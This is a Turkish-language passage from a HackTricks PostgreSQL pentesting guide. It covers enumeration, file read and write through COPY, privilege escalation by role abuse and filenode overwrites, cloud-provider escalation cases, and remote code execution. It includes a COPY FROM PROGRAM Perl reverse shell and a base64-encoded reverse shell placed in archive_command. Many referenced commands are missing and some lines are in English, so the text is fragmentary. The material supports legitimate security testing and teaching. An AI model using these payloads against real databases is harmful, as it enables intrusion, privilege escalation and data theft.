[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
<summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
**PostgreSQL**, **açık kaynaklı** bir **nesne ilişkisel veritabanı sistemi** olarak tanımlanmaktadır. Bu sistem yalnızca SQL dilini kullanmakla kalmaz, aynı zamanda ek özelliklerle geliştirir. Yetenekleri, geniş bir veri türü ve işlem yelpazesini ele almasına olanak tanır, bu da geliştiriciler ve kuruluşlar için çok yönlü bir seçim yapar.
Eğer **`\list`** komutunu çalıştırırken bir **`rdsadmin`** adında bir veritabanı bulursanız, içinde bir **AWS postgresql veritabanı** olduğunu bilirsiniz.
[**Bu araştırmaya**](https://www.exploit-db.com/papers/13084) göre, bir bağlantı denemesi başarısız olduğunda, `dblink` bir `sqlclient_unable_to_establish_sqlconnection` istisnası fırlatır ve hatanın açıklamasını içerir. Bu ayrıntıların örnekleri aşağıda listelenmiştir.
`DETAY: sunucuya bağlanılamadı: Ana bilgisayara yönlendirme yok. Ana bilgisayar "1.2.3.4" üzerinde mi çalışıyor ve 5678 numaralı bağlantıları kabul ediyor mu?`
To extract data from a table, you can use a simple SELECT statement. For example, to extract all data from a table named `users`, you can use the following SQL command:
In some cases, you may be able to run operating system commands using the `COPY` command in PostgreSQL. For example, to list files in a directory, you can use the following SQL command:
| rolinherit | Rol, üye olduğu rollerin ayrıcalıklarını otomatik olarak devralır |
| rolcreaterole | Rol daha fazla rol oluşturabilir |
| rolcreatedb | Rol veritabanları oluşturabilir |
| rolcanlogin | Rol oturum açabilir. Yani, bu rol, başlangıç oturum yetkilendirme kimliği olarak verilebilir |
| rolreplication | Rol bir replikasyon rolüdür. Bir replikasyon rolü replikasyon bağlantılarını başlatabilir ve replikasyon yuvaları oluşturabilir ve silebilir. |
| rolconnlimit | Oturum açabilen roller için, bu rolün yapabileceği eşzamanlı bağlantıların maksimum sayısını belirler. -1 sınırsız anlamına gelir. |
| rolpassword | Parola değil (`********` olarak her zaman okunur) |
| rolvaliduntil | Parola son kullanma zamanı (yalnızca parola kimlik doğrulaması için kullanılır); süresizse null |
| rolbypassrls | Rol her satır düzeyinde güvenlik politikasını atlar, daha fazla bilgi için [Bölüm 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)'e bakın. |
Postgres'te bir **kullanıcı**, bir **grup** ve bir **rol** aynıdır. Sadece **nasıl kullandığınıza** ve **oturum açmasına izin verip vermediğinize** bağlıdır.
Bu [**commit**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) ile tanımlanan **`DEFAULT_ROLE_READ_SERVER_FILES`** grubunun üyeleri (**`pg_read_server_files`** olarak adlandırılır) ve **süper kullanıcılar**, herhangi bir yol üzerinde **`COPY`** yöntemini kullanabilir (bkz. `genfile.c` içindeki `convert_and_check_filename`).
**Hata ödülü ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan bir premium **hata ödülü platformu**! Bugün bize katılın [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) ve **100.000 $'a kadar ödüller kazanmaya başlayın**!
### PostgreSQL tablo verilerinin yerel dosya yazımı aracılığıyla güncellenmesi
PostgreSQL sunucu dosyalarını okuma ve yazma izinlerine sahipseniz, [PostgreSQL veri dizinindeki](https://www.postgresql.org/docs/8.1/storage.html) herhangi bir tabloyu **ilişkili dosya düğümünü üzerine yazarak** sunucuda güncelleyebilirsiniz. Bu tekniğe ilişkin **daha fazla bilgi** [**burada**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
**Not:** Mevcut veri dizini yolunu ayarlar aracılığıyla alamıyorsanız, `SELECT version()` sorgusu ile ana PostgreSQL sürümünü sorgulayabilir ve yolun brute-force yöntemiyle deneyebilirsiniz. PostgreSQL'un Unix kurulumlarında yaygın veri dizini yolları`/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/` şeklindedir. Yaygın bir küme adı`main`dir.
2. Hedef tablo ile ilişkili dosya düğümüne göre göreceli bir yol alın
Bu sorgu `base/3/1337` gibi bir şey döndürmelidir. Diskteki tam yol `$DATA_DIRECTORY/base/3/1337`, yani `/var/lib/postgresql/13/main/base/3/1337` olacaktır.
5. [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) kullanarak [dosya düğümünü düzenleyin](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); tüm `rol*` boolean bayraklarını tam izinler için 1 olarak ayarlayın.
`pg_authid` tablosunu düzenleyerek süper yönetici de olabilirsiniz. **Aşağıdaki bölüme** [**bakın**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables).
[9.3 sürümünden](https://www.postgresql.org/docs/9.3/release-9-3.html) itibaren yalnızca **süper kullanıcılar** ve **`pg_execute_server_program`** grubunun üyeleri RCE için kopyalamayı kullanabilir (veri sızdırma örneği ile:
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
Bu zafiyet hakkında daha fazla bilgiye [**buradan**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5) ulaşabilirsiniz. CVE-2019-9193 olarak rapor edilmesine rağmen, Postges bunun bir [özellik olduğunu ve düzeltilmeyeceğini](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/) açıkladı.
Aşağıdaki RCE vektörleri özellikle kısıtlanmış SQLi bağlamlarında kullanışlıdır, çünkü tüm adımlar iç içe geçmiş SELECT ifadeleri aracılığıyla gerçekleştirilebilir.
PostgreSQL'nin **yapılandırma dosyası**, veritabanını çalıştıran **postgres kullanıcısı** tarafından **yazılabilir**, bu nedenle **süper kullanıcı** olarak dosyaları dosya sisteminde yazabilir ve dolayısıyla bu dosyayı**üzerine yazabilirsiniz.**
*`ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Veritabanının özel anahtarının yolunu belirtir
*`ssl_passphrase_command = ''` Özel dosya şifre ile korunuyorsa, postgresql bu özelliğe belirtilen komutu **çalıştıracaktır**.
*`ssl_passphrase_command_supports_reload = off` Bu özellik **açıksa**, anahtar şifre ile korunuyorsa **komut**`pg_reload_conf()`**çalıştırıldığında****çalıştırılacaktır**.
Bu test sırasında fark ettiğim bir şey, bu işlemin yalnızca **özel anahtar dosyasının 640 ayrıcalıklara sahip olması**, **root** tarafından **sahiplenilmesi** ve **ssl-cert veya postgres** grubuna ait olması gerektiğidir (bu nedenle postgres kullanıcısı okuyabilir) ve _/var/lib/postgresql/12/main_ dizininde bulunması gerektiğidir.
Bu yapılandırma ve WAL hakkında daha fazla [bilgiye buradan](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)** ulaşabilirsiniz**.
Bu işlem çalışması için `archive_mode` ayarının `'on'` veya `'always'` olması gerekmektedir. Bu doğruysa, `archive_command` içindeki komutu üzerine yazabilir ve WAL (write-ahead logging) işlemleri aracılığıyla çalışmasını zorlayabiliriz.
1. Arşiv modunun etkin olup olmadığını kontrol edin: `SELECT current_setting('archive_mode')`
2.`archive_command`'ı payload ile üzerine yazın. Örneğin, ters kabuk için: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
3. Yapılandırmayı yeniden yükleyin: `SELECT pg_reload_conf()`
4. Arşiv işleminin çalışmasını zorlayın, bu da arşiv komutunu çağıracaktır: Bazı Postgres sürümleri için `SELECT pg_switch_wal()` veya `SELECT pg_switch_xlog()`
`dynamic_library_path` değerini, veritabanını çalıştıran `postgres` kullanıcısının yazma iznine sahip olduğu bir dizine, örneğin `/tmp/` dizinine ayarlayabilir ve oraya zararlı bir `.so` nesnesi yükleyebiliriz. Daha sonra, PostgreSQL sunucusunu yeni yüklenen kütüphanemizi `session_preload_libraries` değişkenine dahil ederek yüklemeye zorlayacağız.
8. Sunucu yapılandırmasını yeniden yükleyerek sunucuyu yeniden başlatın veya `SELECT pg_reload_conf()` sorgusunu çağırarak yapılandırmayı yeniden yükleyin
9. Bir sonraki DB bağlantısında ters kabuk bağlantısını alacaksınız.
[**Belgelere**](https://www.postgresql.org/docs/13/sql-grant.html) göre: _**`CREATEROLE`** yetkisine sahip roller, **süper kullanıcı olmayan** herhangi bir role **üyelik verme veya geri alma** yetkisine sahiptir._
Bu nedenle, **`CREATEROLE`** iznine sahipseniz, kendinize diğer **roller** (süper kullanıcı olmayan) erişim izni verebilir ve dosyaları okuma & yazma ve komutları çalıştırma seçeneğine sahip olabilirsiniz:
**Yerel kullanıcıların herhangi bir şifre sağlamadan PostgreSQL'e giriş yapabildiğini sıkça görmek oldukça yaygındır**. Bu nedenle, **kodları yürütme izinlerini topladığınızda**, bu izinleri kötüye kullanarak **`SUPERUSER`** rolünü elde edebilirsiniz:
[**Bu yazıda**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) Postgres GCP'de **privesc** yapmanın, kullanıcıya verilen ALTER TABLE ayrıcalığını kötüye kullanarak nasıl mümkün olduğu açıklanmaktadır.
Bir **başka kullanıcıyı bir tablonun sahibi yapmaya** çalıştığınızda, bunu engelleyen bir **hata** almanız gerektiği, ancak GCP'nin bu **seçeneği GCP'deki süper kullanıcı olmayan postgres kullanıcısına** verdiği anlaşılmaktadır:
Bu fikri, **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) komutlarının **bir indeks işlevine sahip bir tabloda** çalıştırıldığında, **işlevin** komutun bir parçası olarak **çağrıldığı ve tablonun sahibinin izinleriyle** çalıştığı gerçeğiyle birleştirerek, bir indeks oluşturmak ve bu tabloya sahip bir **süper kullanıcıya sahip izinler vermek ve ardından sahibin izinleri kullanılarak komutları yürütebilecek kötü niyetli bir işlevle tabloyu ANALYZE etmek mümkündür.
4. Tablonun sahibini "cloudsqladmin" olarak DEĞİŞTİRİN, bu GCP'nin özel olarak Cloud SQL tarafından veritabanını yönetmek ve sürdürmek için kullanılan süper kullanıcı rolüdür.
5. Tablo üzerinde bir ANALYZE işlemi gerçekleştirin. Bu işlem, PostgreSQL motorunu tablonun sahibi olan "cloudsqladmin" kullanıcı bağlamına geçmeye zorlar. Sonuç olarak, kötü amaçlı dizin işlevi "cloudsqladmin" izinleriyle çağrılır ve bu da önceden izinsiz kabul edilen kabuk komutunun yürütülmesini sağlar.
Bazı yanlış yapılandırılmış postgresql örnekleri, herhangi bir yerel kullanıcının girişine izin verebilir, 127.0.0.1'den **`dblink` fonksiyonu** kullanılarak yerel giriş yapmak mümkündür:
Eğer daha fazla ayrıcalığa sahip bir kullanıcının şifresine sahipseniz, ancak kullanıcının harici bir IP'den giriş yapmasına izin verilmiyorsa, aşağıdaki işlevi kullanarak sorguları o kullanıcı olarak çalıştırabilirsiniz:
[**Bu yazıda**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), pentester'lar, IBM tarafından sağlanan bir postgres örneğinde **bu fonksiyonu buldukları için** içeride bir ayrıcalık yükseltme gerçekleştirebildiler:
[**Belgelerde açıklandığı gibi**](https://www.postgresql.org/docs/current/sql-createfunction.html) **SECURITY DEFINER ile bir fonksiyon**, onu **sahip olan kullanıcının ayrıcalıklarıyla** yürütülür. Bu nedenle, eğer fonksiyon **SQL Enjeksiyonuna duyarlı ise** veya **saldırgan tarafından kontrol edilen parametrelerle ayrıcalıklı işlemler gerçekleştiriyorsa**, postgres içinde **ayrıcalıkları yükseltmek için kötüye kullanılabilir**.
**PL/pgSQL**, SQL'e kıyasla daha fazla işlem kontrolü sunan **tam özellikli bir programlama dilidir**. Program mantığını geliştirmek için **döngüler** ve diğer **kontrol yapıları** kullanılmasını sağlar. Ayrıca, **SQL ifadeleri** ve **tetikleyiciler**, **PL/pgSQL dilini** kullanarak oluşturulan fonksiyonları çağırma yeteneğine sahiptir. Bu entegrasyon, veritabanı programlaması ve otomasyonu için daha kapsamlı ve esnek bir yaklaşım sağlar.\
Aşağıdaki istek yükseltme vektörü, tüm adımların iç içe geçmiş SELECT ifadeleri aracılığıyla gerçekleştirilebileceği sınırlı SQLi bağlamlarında özellikle kullanışlıdır.
Eğer **PostgreSQL sunucu dosyalarını okuyup yazabilirseniz**, PostgreSQL üzerindeki diskteki `pg_authid` tablosuyla ilişkilendirilen filenode'u üzerine yazarak **bir süper kullanıcı olabilirsiniz**.
5. [PostgreSQL Filenode Düzenleyici](https://github.com/adeadfed/postgresql-filenode-editor)'yi kullanarak filenode'u düzenle; tüm `rol*` boolean bayraklarını tam izinler için 1 olarak ayarla.
6. Düzenlenmiş filenode'u `lo_*` fonksiyonları aracılığıyla yeniden yükle ve diske orijinal dosyayı üzerine yaz
7._(İsteğe bağlı olarak)_ Pahalı bir SQL sorgusunu çalıştırarak bellek içi tablo önbelleğini temizle
8. Artık tam bir süper yönetici ayrıcalıklarına sahip olmalısınız.
Onları şu betik içindeki _**decrypt**_ fonksiyonunu kullanarak şifreleyebilirsiniz: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
PostgreSQL'de istemci kimlik doğrulaması**pg\_hba.conf** adlı bir yapılandırma dosyası aracılığıyla yönetilir. Bu dosya, her biri bir bağlantı türünü, istemci IP adresi aralığını (uygulanabilirse), veritabanı adını, kullanıcı adını ve eşleşen bağlantılar için kullanılacak kimlik doğrulama yöntemini belirten bir dizi kayıt içerir. Bağlantı türü, istemci adresi, istenen veritabanı ve kullanıcı adıyla eşleşen ilk kayıt kimlik doğrulaması için kullanılır. Kimlik doğrulaması başarısız olursa geriye dönüş veya yedek yoktur. Eşleşen kayıt yoksa erişim reddedilir.
pg\_hba.conf'deki mevcut şifre tabanlı kimlik doğrulama yöntemleri **md5**, **crypt** ve **password**'dur. Bu yöntemler, şifrenin nasıl iletildiğinde farklılık gösterir: MD5-hashed, crypt-encrypted veya açık metin. Önemli bir not olarak, crypt yöntemi pg\_authid'de şifrelenmiş şifrelerle kullanılamaz.